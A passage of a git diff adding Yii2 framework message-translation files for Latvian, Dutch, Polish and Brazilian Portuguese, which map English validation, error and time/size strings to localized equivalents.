sekundēm}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'pēc {delta, plural, =1{gada} one{#. gada} other{#. gadām}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'pēc {delta, plural, =1{stundas} one{#. stundas} other{#. stundām}}', + 'the input value' => 'ievadīta vērtība', + '{attribute} "{value}" has already been taken.' => '{attribute} „{value}” jau ir aizņemts.', + '{attribute} cannot be blank.' => 'Ir jāaizpilda „{attribute}”.', + '{attribute} is invalid.' => '„{attribute}” vērtība ir nepareiza.', + '{attribute} is not a valid URL.' => '„{attribute}” vērtība netiek uzskatīta par pareizu URL.', + '{attribute} is not a valid email address.' => '„{attribute}” vērtība netiek uzskatīta par pareizu e-pasta adresi.', + '{attribute} must be "{requiredValue}".' => '„{attribute}” vērtībai ir jābūt vienādai ar „{requiredValue}”.', + '{attribute} must be a number.' => '„{attribute}” vērtībai ir jābūt skaitlim.', + '{attribute} must be a string.' => '„{attribute}” vērtībai ir jābūt virknei.', + '{attribute} must be an integer.' => '„{attribute}” vērtībai ir jābūt veselam skaitlim.', + '{attribute} must be either "{true}" or "{false}".' => '„{attribute}” vērtībai ir jābūt „{true}” vai „{false}”.', + '{attribute} must be greater than "{compareValue}".' => '„{attribute}” vērtībai ir jābūt lielākai par „{compareValue}” vērību.', + '{attribute} must be greater than or equal to "{compareValue}".' => '„{attribute}” vērtībai ir jābūt lielākai vai vienādai ar „{compareValue}” vērtību.', + '{attribute} must be less than "{compareValue}".' => '„{attribute}” vērtībai ir jābūt mazākai par „{compareValue}” vērtību.', + '{attribute} must be less than or equal to "{compareValue}".' => '„{attribute}” vērtībai ir jābūt mazākai vai vienādai ar „{compareValue}” vērtību.', + '{attribute} must be no greater than {max}.' => '„{attribute}” vērtībai nedrīkst pārsniegt {max}.', + '{attribute} must be no less than {min}.' => '„{attribute}” vērtībai ir jāpārsniedz {min}.', + '{attribute} must be repeated exactly.' => '„{attribute}” vērtībai ir precīzi jāatkārto.', + '{attribute} must not be equal to "{compareValue}".' => '„{attribute}” vērtībai nedrīkst būt vienādai ar „{compareValue}”.', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '„{attribute}” vērtībai ir jāietver vismaz {min, number} {min, plural, one{simbolu} other{simbolus}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '„{attribute}” vērtībai ir jāietver ne vairāk par {max, number} {max, plural, one{simbolu} other{simbolus}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '„{attribute}” vērtībai ir jāietver {length, number} {length, plural, one{simbolu} other{simbolus}}.', + '{delta, plural, =1{a day} other{# days}} ago' => '{delta, plural, =1{diena} zero{# dienas} one{#. diena} other{#. dienas}} atpakaļ', + '{delta, plural, =1{a minute} other{# minutes}} ago' => '{delta, plural, =1{minūte} zero{# minūtes} one{#. minūte} other{#. minūtes}} atpakaļ', + '{delta, plural, =1{a month} other{# months}} ago' => '{delta, plural, =1{mēness} zero{# mēnešu} one{#. mēness} other{#. mēnešu}} atpakaļ', + '{delta, plural, =1{a second} other{# seconds}} ago' => '{delta, plural, =1{sekunde} zero{# sekundes} one{#. sekunde} other{#. sekundes}} atpakaļ', + '{delta, plural, =1{a year} other{# years}} ago' => '{delta, plural, =1{gads} zero{# gadi} one{#. gads} other{#. gadi}} atpakaļ', + '{delta, plural, =1{an hour} other{# hours}} ago' => '{delta, plural, =1{stunda} zero{# stundas} one{#. stunda} other{#. stundas}} atpakaļ', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/nl/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/nl/yii.php new file mode 100644 index 00000000..018e4e60 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/nl/yii.php @@ -0,0 +1,117 @@ + 'zojuist', + '{nFormatted} B' => '{nFormatted} B', + '{nFormatted} GB' => '{nFormatted} GB', + '{nFormatted} GiB' => '{nFormatted} GiB', + '{nFormatted} KB' => '{nFormatted} KB', + '{nFormatted} KiB' => '{nFormatted} KiB', + '{nFormatted} MB' => '{nFormatted} MB', + '{nFormatted} MiB' => '{nFormatted} MiB', + '{nFormatted} PB' => '{nFormatted} PB', + '{nFormatted} PiB' => '{nFormatted} PiB', + '{nFormatted} TB' => '{nFormatted} TB', + '{nFormatted} TiB' => '{nFormatted} TiB', + '{nFormatted} {n, plural, =1{byte} other{bytes}}' => '{nFormatted} {n, plural, =1{byte} other{bytes}}', + '{nFormatted} {n, plural, =1{gibibyte} other{gibibytes}}' => '{nFormatted} {n, plural, =1{gibibyte} other{gibibytes}}', + '{nFormatted} {n, plural, =1{gigabyte} other{gigabytes}}' => '{nFormatted} {n, plural, =1{gigabyte} other{gigabytes}}', + '{nFormatted} {n, plural, =1{kibibyte} other{kibibytes}}' => '{nFormatted} {n, plural, =1{kibibyte} other{kibibytes}}', + '{nFormatted} {n, plural, =1{kilobyte} other{kilobytes}}' => '{nFormatted} {n, plural, =1{kilobyte} other{kilobytes}}', + '{nFormatted} {n, plural, =1{mebibyte} other{mebibytes}}' => '{nFormatted} {n, plural, =1{mebibyte} other{mebibytes}}', + '{nFormatted} {n, plural, =1{megabyte} other{megabytes}}' => '{nFormatted} {n, plural, =1{megabyte} other{megabytes}}', + '{nFormatted} {n, plural, =1{pebibyte} other{pebibytes}}' => '{nFormatted} {n, plural, =1{pebibyte} other{pebibytes}}', + '{nFormatted} {n, plural, =1{petabyte} other{petabytes}}' => '{nFormatted} {n, plural, =1{petabyte} other{petabytes}}', + '{nFormatted} {n, plural, =1{tebibyte} other{tebibytes}}' => '{nFormatted} {n, plural, =1{tebibyte} other{tebibytes}}', + '{nFormatted} {n, plural, =1{terabyte} other{terabytes}}' => '{nFormatted} {n, plural, =1{terabyte} other{terabytes}}', + '(not set)' => '(niet ingesteld)', + 'An internal server error occurred.' => 'Er is een interne serverfout opgetreden.', + 'Are you sure you want to delete this item?' => 'Ben je zeker dat je dit item wilt verwijderen?', + 'Delete' => 'Verwijderen', + 'Error' => 'Fout', + 'File upload failed.' => 'Bestand uploaden mislukt.', + 'Home' => 'Home', + 'Invalid data received for parameter "{param}".' => 'Ongeldige gegevens ontvangen voor parameter "{param}".', + 'Login Required' => 'Inloggen verplicht', + 'Missing required arguments: {params}' => 'Ontbrekende vereiste argumenten: {params}', + 'Missing required parameters: {params}' => 'Ontbrekende vereiste parameters: {params}', + 'No' => 'Nee', + 'No help for unknown command "{command}".' => 'Geen hulp voor onbekend commando "{command}".', + 'No help for unknown sub-command "{command}".' => 'Geen hulp voor onbekend sub-commando "{command}".', + 'No results found.' => 'Geen resultaten gevonden', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Alleen bestanden met de volgende MIME types zijn toegelaten: {mimeTypes}', + 'Only files with these extensions are allowed: {extensions}.' => 'Alleen bestanden met de volgende extensies zijn toegestaan: {extensions}.', + 'Page not found.' => 'Pagina niet gevonden.', + 'Please fix the following errors:' => 'Corrigeer de volgende fouten:', + 'Please upload a file.' => 'Upload een bestand.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Resultaat {begin, number}-{end, number} van {totalCount, number} {totalCount, plural, one{item} other{items}}.', + 'The file "{file}" is not an image.' => 'Het bestand "{file}" is geen afbeelding.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Het bestand "{file}" is te groot. Het kan niet groter zijn dan {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Het bestand "{file}" is te klein. Het kan niet kleiner zijn dan {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The format of {attribute} is invalid.' => 'Het formaat van {attribute} is ongeldig', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'De afbeelding "{file}" is te groot. Het mag maximaal {limit, number} {limit, plural, one{pixel} other{pixels}} hoog zijn.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'De afbeelding "{file}" is te groot. Het mag maximaal {limit, number} {limit, plural, one{pixel} other{pixels}} breed zijn.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'De afbeelding "{file}" is te klein. Het moet minimaal {limit, number} {limit, plural, one{pixel} other{pixels}} hoog zijn.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'De afbeelding "{file}" is te klein. Het moet minimaal {limit, number} {limit, plural, one{pixel} other{pixels}} breed zijn.', + 'The requested view "{name}" was not found.' => 'De gevraagde view "{view}" werd niet gevonden.', + 'The verification code is incorrect.' => 'De verificatiecode is onjuist.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Totaal {count, number} {count, plural, one{item} other{items}}.', + 'Unable to verify your data submission.' => 'Het is niet mogelijk uw verstrekte gegevens te verifiëren.', + 'Unknown command "{command}".' => 'Onbekend commando "{command}".', + 'Unknown option: --{name}' => 'Onbekende optie: --{name}', + 'Update' => 'Update', + 'View' => 'Bekijk', + 'Yes' => 'Ja', + 'You are not allowed to perform this action.' => 'U bent niet gemachtigd om deze actie uit te voeren.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'U kunt maximaal {limit, number} {limit, plural, one{ander bestand} other{andere bestander}} uploaden.', + 'in {delta, plural, =1{a day} other{# days}}' => 'binnen {delta, plural, =1{een dag} other{# dagen}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'binnen {delta, plural, =1{een minuut} other{# minuten}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'binnen {delta, plural, =1{een maand} other{# maanden}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'binnen {delta, plural, =1{een seconde} other{# seconden}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'binnen {delta, plural, =1{een jaar} other{# jaren}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'binnen {delta, plural, =1{een uur} other{# uren}}', + 'the input value' => 'de invoerwaarde', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" is reeds in gebruik.', + '{attribute} cannot be blank.' => '{attribute} mag niet leeg zijn.', + '{attribute} is invalid.' => '{attribute} is ongeldig.', + '{attribute} is not a valid URL.' => '{attribute} is geen geldige URL.', + '{attribute} is not a valid email address.' => '{attribute} is geen geldig emailadres.', + '{attribute} must be "{requiredValue}".' => '{attribute} moet "{requiredValue}" zijn.', + '{attribute} must be a number.' => '{attribute} moet een getal zijn.', + '{attribute} must be a string.' => '{attribute} moet een string zijn.', + '{attribute} must be an integer.' => '{attribute} moet een geheel getal zijn.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} moet "{true}" of "{false}" zijn.', + '{attribute} must be greater than "{compareValue}".' => '{attribute} moet groter zijn dan "{compareValue}".', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} moet groter dan of gelijk aan "{compareValue}" zijn.', + '{attribute} must be less than "{compareValue}".' => '{attribute} moet minder zijn dan "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} moet minder dan of gelijk aan "{compareValue}" zijn.', + '{attribute} must be no greater than {max}.' => '{attribute} mag niet groter zijn dan {max}.', + '{attribute} must be no less than {min}.' => '{attribute} mag niet kleiner zijn dan {min}.', + '{attribute} must be repeated exactly.' => '{attribute} moet exact herhaald worden.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} mag niet gelijk zijn aan "{compareValue}".', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} moet minstens {min, number} {min, plural, one{karakter} other{karakters}} bevatten.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} mag maximaal {min, number} {min, plural, one{karakter} other{karakters}} bevatten.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} moet precies {min, number} {min, plural, one{karakter} other{karakters}} bevatten.', + '{delta, plural, =1{a day} other{# days}} ago' => '{delta, plural, =1{een dag} other{# dagen}} geleden', + '{delta, plural, =1{a minute} other{# minutes}} ago' => '{delta, plural, =1{een minuut} other{# minuten}} geleden', + '{delta, plural, =1{a month} other{# months}} ago' => '{delta, plural, =1{a month} other{# months}} geleden', + '{delta, plural, =1{a second} other{# seconds}} ago' => '{delta, plural, =1{een seconde} other{# seconden}} geleden', + '{delta, plural, =1{a year} other{# years}} ago' => '{delta, plural, =1{een jaar} other{# jaren}} geleden', + '{delta, plural, =1{an hour} other{# hours}} ago' => '{delta, plural, =1{een uur} other{# uren}} geleden', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/pl/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/pl/yii.php new file mode 100644 index 00000000..c12bb496 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/pl/yii.php @@ -0,0 +1,117 @@ + 'przed chwilą', + '(not set)' => '(brak wartości)', + 'An internal server error occurred.' => 'Wystąpił wewnętrzny błąd serwera.', + 'Are you sure you want to delete this item?' => 'Czy na pewno usunąć ten element?', + 'Delete' => 'Usuń', + 'Error' => 'Błąd', + 'File upload failed.' => 'Wgrywanie pliku nie powiodło się.', + 'Home' => 'Strona domowa', + 'Invalid data received for parameter "{param}".' => 'Otrzymano nieprawidłowe dane dla parametru "{param}".', + 'Login Required' => 'Wymagane zalogowanie się', + 'Missing required arguments: {params}' => 'Brak wymaganych argumentów: {params}', + 'Missing required parameters: {params}' => 'Brak wymaganych parametrów: {params}', + 'No' => 'Nie', + 'No help for unknown command "{command}".' => 'Brak pomocy dla nieznanego polecenia "{command}".', + 'No help for unknown sub-command "{command}".' => 'Brak pomocy dla nieznanego pod-polecenia "{command}".', + 'No results found.' => 'Brak wyników.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Dozwolone są tylko pliki z następującymi typami MIME: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Dozwolone są tylko pliki z następującymi rozszerzeniami: {extensions}.', + 'Page not found.' => 'Nie odnaleziono strony.', + 'Please fix the following errors:' => 'Proszę poprawić następujące błędy:', + 'Please upload a file.' => 'Proszę wgrać plik.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Wyświetlone {begin, number}-{end, number} z {totalCount, number}.', + 'The file "{file}" is not an image.' => 'Plik "{file}" nie jest obrazem.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Plik "{file}" jest zbyt duży. Jego rozmiar nie może przekraczać {limit, number} {limit, plural, one{bajtu} few{bajtów} many{bajtów} other{bajta}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Plik "{file}" jest za mały. Jego rozmiar nie może być mniejszy niż {limit, number} {limit, plural, one{bajtu} few{bajtów} many{bajtów} other{bajta}}.', + 'The format of {attribute} is invalid.' => 'Format {attribute} jest nieprawidłowy.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Obraz "{file}" jest zbyt duży. Wysokość nie może być większa niż {limit, number} {limit, plural, one{piksela} few{pikseli} many{pikseli} other{piksela}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Obraz "{file}" jest zbyt duży. Szerokość nie może być większa niż {limit, number} {limit, plural, one{piksela} few{pikseli} many{pikseli} other{piksela}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Obraz "{file}" jest za mały. Wysokość nie może być mniejsza niż {limit, number} {limit, plural, one{piksela} few{pikseli} many{pikseli} other{piksela}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Obraz "{file}" jest za mały. Szerokość nie może być mniejsza niż {limit, number} {limit, plural, one{piksela} few{pikseli} many{pikseli} other{piksela}}.', + 'The requested view "{name}" was not found.' => 'Żądany widok "{name}" nie został odnaleziony.', + 'The verification code is incorrect.' => 'Kod weryfikacyjny jest nieprawidłowy.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Razem {count, number} {count, plural, one{rekord} few{rekordy} many{rekordów} other{rekordu}}.', + 'Unable to verify your data submission.' => 'Nie udało się zweryfikować przesłanych danych.', + 'Unknown command "{command}".' => 'Nieznane polecenie "{command}".', + 'Unknown option: --{name}' => 'Nieznana opcja: --{name}', + 'Update' => 'Aktualizuj', + 'View' => 'Zobacz szczegóły', + 'Yes' => 'Tak', + 'You are not allowed to perform this action.' => 'Brak upoważnienia do wykonania tej czynności.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Możliwe wgranie najwyżej {limit, number} {limit, plural, one{pliku} few{plików} many{plików} other{pliku}}.', + 'in {delta, plural, =1{a day} other{# days}}' => 'za {delta, plural, =1{jeden dzień} other{# dni}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'za {delta, plural, =1{minutę} few{# minuty} many{# minut} other{# minuty}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'za {delta, plural, =1{miesiąc} few{# miesiące} manu{# miesięcy} other{# miesiąca}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'za {delta, plural, =1{sekundę} few{# sekundy} many{# sekund} other{# sekundy}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'za {delta, plural, =1{rok} few{# lata} many{# lat} other{# dni}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'za {delta, plural, =1{godzinę} few{# godziny} many{# godzin} other{# godziny}}', + 'the input value' => 'wartość wejściowa', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" jest już w użyciu.', + '{attribute} cannot be blank.' => '{attribute} nie może pozostać bez wartości.', + '{attribute} is invalid.' => '{attribute} zawiera nieprawidłową wartość.', + '{attribute} is not a valid URL.' => '{attribute} nie zawiera prawidłowego adresu URL.', + '{attribute} is not a valid email address.' => '{attribute} nie zawiera prawidłowego adresu email.', + '{attribute} must be "{requiredValue}".' => '{attribute} musi mieć wartość "{requiredValue}".', + '{attribute} must be a number.' => '{attribute} musi być liczbą.', + '{attribute} must be a string.' => '{attribute} musi być tekstem.', + '{attribute} must be an integer.' => '{attribute} musi być liczbą całkowitą.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} musi mieć wartość "{true}" lub "{false}".', + '{attribute} must be greater than "{compareValue}".' => '{attribute} musi mieć wartość większą od "{compareValue}".', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} musi mieć wartość większą lub równą "{compareValue}".', + '{attribute} must be less than "{compareValue}".' => '{attribute} musi mieć wartość mniejszą od "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} musi mieć wartość mniejszą lub równą "{compareValue}".', + '{attribute} must be no greater than {max}.' => '{attribute} musi wynosić nie więcej niż {max}.', + '{attribute} must be no less than {min}.' => '{attribute} musi wynosić nie mniej niż {min}.', + '{attribute} must be repeated exactly.' => 'Wartość {attribute} musi być dokładnie powtórzona.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} musi mieć wartość różną od "{compareValue}".', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} powinien zawierać co najmniej {min, number} {min, plural, one{znak} few{znaki} many{znaków} other{znaku}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} powinien zawierać nie więcej niż {max, number} {min, plural, one{znak} few{znaki} many{znaków} other{znaku}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} powinien zawierać dokładnie {length, number} {length, plural, one{znak} few{znaki} many{znaków} other{znaku}}.', + '{delta, plural, =1{a day} other{# days}} ago' => '{delta, plural, =1{jeden dzień} other{# dni} other{# dnia}} temu', + '{delta, plural, =1{a minute} other{# minutes}} ago' => '{delta, plural, =1{minutę} few{# minuty} many{# minut} other{# minuty}} temu', + '{delta, plural, =1{a month} other{# months}} ago' => '{delta, plural, =1{miesiąc} few{# miesiące} many{# miesięcy} other{# miesiąca}} temu', + '{delta, plural, =1{a second} other{# seconds}} ago' => '{delta, plural, =1{sekundę} few{# sekundy} many{# sekund} other{# sekundy}} temu', + '{delta, plural, =1{a year} other{# years}} ago' => '{delta, plural, =1{rok} few{# lata} many{# lat} other{# roku}} temu', + '{delta, plural, =1{an hour} other{# hours}} ago' => '{delta, plural, =1{godzinę} few{# godziny} many{# godzin} other{# godziny}} temu', + '{nFormatted} B' => '{nFormatted} B', + '{nFormatted} GB' => '{nFormatted} GB', + '{nFormatted} GiB' => '{nFormatted} GiB', + '{nFormatted} KB' => '{nFormatted} KB', + '{nFormatted} KiB' => '{nFormatted} KiB', + '{nFormatted} MB' => '{nFormatted} MB', + '{nFormatted} MiB' => '{nFormatted} MiB', + '{nFormatted} PB' => '{nFormatted} PB', + '{nFormatted} PiB' => '{nFormatted} PiB', + '{nFormatted} TB' => '{nFormatted} TB', + '{nFormatted} TiB' => '{nFormatted} TiB', + '{nFormatted} {n, plural, =1{byte} other{bytes}}' => '{nFormatted} {n, plural, =1{bajt} few{bajty} many{bajtów} other{bajta}}', + '{nFormatted} {n, plural, =1{gibibyte} other{gibibytes}}' => '{nFormatted} {n, plural, =1{gibibajt} few{gigabajty} many{gibiajtów} other{gibiajta}}', + '{nFormatted} {n, plural, =1{gigabyte} other{gigabytes}}' => '{nFormatted} {n, plural, =1{gigabajt} few{gigabajty} many{gigabajtów} other{gigabaja}}', + '{nFormatted} {n, plural, =1{kibibyte} other{kibibytes}}' => '{nFormatted} {n, plural, =1{kibibajt} few{kibibajty} many{kibibajtów} other{kibibajtów}}', + '{nFormatted} {n, plural, =1{kilobyte} other{kilobytes}}' => '{nFormatted} {n, plural, =1{kilobajt} few{kilobajty} many{kilobajtów} other{kilobajtów}}', + '{nFormatted} {n, plural, =1{mebibyte} other{mebibytes}}' => '{nFormatted} {n, plural, =1{mebibajt} few{mebibajty} many{mebibajtów} other{mebibajta}}', + '{nFormatted} {n, plural, =1{megabyte} other{megabytes}}' => '{nFormatted} {n, plural, =1{megabajt} few{megabajty} many{megabajtów} other{megabajta}}', + '{nFormatted} {n, plural, =1{pebibyte} other{pebibytes}}' => '{nFormatted} {n, plural, =1{pebibajt} few{pebibajty} many{pebibajtów} other{pebibajta}}', + '{nFormatted} {n, plural, =1{petabyte} other{petabytes}}' => '{nFormatted} {n, plural, =1{petabajt} few{petabajty} many{petabajtów} other{petabajta}}', + '{nFormatted} {n, plural, =1{tebibyte} other{tebibytes}}' => '{nFormatted} {n, plural, =1{tebibajt} few{tebibajty} many{tebibajtów} other{tebibajta}}', + '{nFormatted} {n, plural, =1{terabyte} other{terabytes}}' => '{nFormatted} {n, plural, =1{terabajt} few{terabajty} many{terabajtów} other{terabajta}}', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/pt-BR/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/pt-BR/yii.php new file mode 100644 index 00000000..05e396ab --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/pt-BR/yii.php @@ -0,0 +1,106 @@ + 'São permitidos somente arquivos com os seguintes tipos MIME: {mimeTypes}.', + 'The requested view "{name}" was not found.' => 'A visão "{name}" solicitada não foi encontrada.', + 'in {delta, plural, =1{a day} other{# days}}' => 'em {delta, plural, =1{1 dia} other{# dias}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'em {delta, plural, =1{1 minuto} other{# minutos}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'em {delta, plural, =1{1 mês} other{# meses}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'em {delta, plural, =1{1 segundo} other{# segundos}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'em {delta, plural, =1{1 ano} other{# anos}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'em {delta, plural, =1{1 hora} other{# horas}}', + '{delta, plural, =1{a day} other{# days}} ago' => '{delta, plural, =1{há 1 dia} other{há # dias}}', + '{delta, plural, =1{a minute} other{# minutes}} ago' => '{delta, plural, =1{há 1 minuto} other{há # minutos}}', + '{delta, plural, =1{a month} other{# months}} ago' => '{delta, plural, =1{há 1 mês} other{há # meses}}', + '{delta, plural, =1{a second} other{# seconds}} ago' => '{delta, plural, =1{há 1 segundo} other{há # segundos}}', + '{delta, plural, =1{a year} other{# years}} ago' => '{delta, plural, =1{há 1 ano} other{há # anos}}', + '{delta, plural, =1{an hour} other{# hours}} ago' => '{delta, plural, =1{há 1 hora} other{há # horas}}', + '{n, plural, =1{# byte} other{# bytes}}' => '{n, plural, =1{# byte} other{# bytes}}', + '{n, plural, =1{# gigabyte} other{# gigabytes}}' => '{n, plural, =1{# gigabyte} other{# gigabytes}}', + '{n, plural, =1{# kilobyte} other{# kilobytes}}' => '{n, plural, =1{# kilobyte} other{# kilobytes}}', + '{n, plural, =1{# megabyte} other{# megabytes}}' => '{n, plural, =1{# megabyte} other{# megabytes}}', + '{n, plural, =1{# petabyte} other{# petabytes}}' => '{n, plural, =1{# petabyte} other{# petabytes}}', + '{n, plural, =1{# terabyte} other{# terabytes}}' => '{n, plural, =1{# terabyte} other{# terabytes}}', + '{n} B' => '{n} B', + '{n} GB' => '{n} GB', + '{n} KB' => '{n} KB', + '{n} MB' => '{n} MB', + '{n} PB' => '{n} PB', + '{n} TB' => '{n} TB', + '(not set)' => '(não definido)', + 'An internal server error occurred.' => 'Ocorreu um erro interno do servidor.', + 'Are you sure you want to delete this item?' => 'Confirma a exclusão deste item?', + 'Delete' => 'Excluir', + 'Error' => 'Erro', + 'File upload failed.' => 'O upload do arquivo falhou.', + 'Home' => 'Página Inicial', + 'Invalid data received for parameter "{param}".' => 'Dados inválidos recebidos para o parâmetro "{param}".', + 'Login Required' => 'Login Necessário.', + 'Missing required arguments: {params}' => 'Argumentos obrigatórios ausentes: {params}', + 'Missing required parameters: {params}' => 'Parâmetros obrigatórios ausentes: {params}', + 'No' => 'Não', + 'No help for unknown command "{command}".' => 'Não há ajuda para o comando desconhecido "{command}".', + 'No help for unknown sub-command "{command}".' => 'Não há ajuda para o sub-comando desconhecido "{command}".', + 'No results found.' => 'Nenhum resultado foi encontrado.', + 'Only files with these extensions are allowed: {extensions}.' => 'São permitidos somente arquivos com as seguintes extensões: {extensions}.', + 'Page not found.' => 'Página não encontrada.', + 'Please fix the following errors:' => 'Por favor, corrija os seguintes erros:', + 'Please upload a file.' => 'Por favor, faça upload de um arquivo.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Exibindo {begin, number}-{end, number} de {totalCount, number} {totalCount, plural, one{item} other{itens}}.', + 'The file "{file}" is not an image.' => 'O arquivo "{file}" não é uma imagem.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'O arquivo "{file}" é grande demais. Seu tamanho não pode exceder {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'O arquivo "{file}" é pequeno demais. Seu tamanho não pode ser menor que {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The format of {attribute} is invalid.' => 'O formato de "{attribute}" é inválido.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'O arquivo "{file}" é grande demais. A altura não pode ser maior que {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'O arquivo "{file}" é grande demais. A largura não pode ser maior que {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'O arquivo "{file}" é pequeno demais. A altura não pode ser menor que {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'O arquivo "{file}" é pequeno demais. A largura não pode ser menor que {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The verification code is incorrect.' => 'O código de verificação está incorreto.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Total {count, number} {count, plural, one{item} other{itens}}.', + 'Unable to verify your data submission.' => 'Não foi possível verificar o seu envio de dados.', + 'Unknown command "{command}".' => 'Comando desconhecido "{command}".', + 'Unknown option: --{name}' => 'Opção desconhecida : --{name}', + 'Update' => 'Alterar', + 'View' => 'Exibir', + 'Yes' => 'Sim', + 'You are not allowed to perform this action.' => 'Você não está autorizado a realizar essa ação.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Você pode fazer o upload de, no máximo, {limit, number} {limit, plural, one{arquivo} other{arquivos}}.', + 'the input value' => 'o valor de entrada', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" já foi utilizado.', + '{attribute} cannot be blank.' => '"{attribute}" não pode ficar em branco.', + '{attribute} is invalid.' => '"{attribute}" é inválido.', + '{attribute} is not a valid URL.' => '"{attribute}" não é uma URL válida.', + '{attribute} is not a valid email address.' => '"{attribute}" não é um endereço de e-mail válido.', + '{attribute} must be "{requiredValue}".' => '"{attribute}" deve ser "{requiredValue}".', + '{attribute} must be a number.' => '"{attribute}" deve ser um número.', + '{attribute} must be a string.' => '"{attribute}" deve ser um texto.', + '{attribute} must be an integer.' => '"{attribute}" deve ser um número inteiro.', + 